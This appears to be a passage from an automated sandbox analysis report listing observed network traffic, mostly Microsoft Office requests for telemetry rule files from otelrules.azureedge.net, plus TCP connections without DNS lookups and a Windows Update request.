Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Rog2UAh6byGHZBm&MD=DSVsValv HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
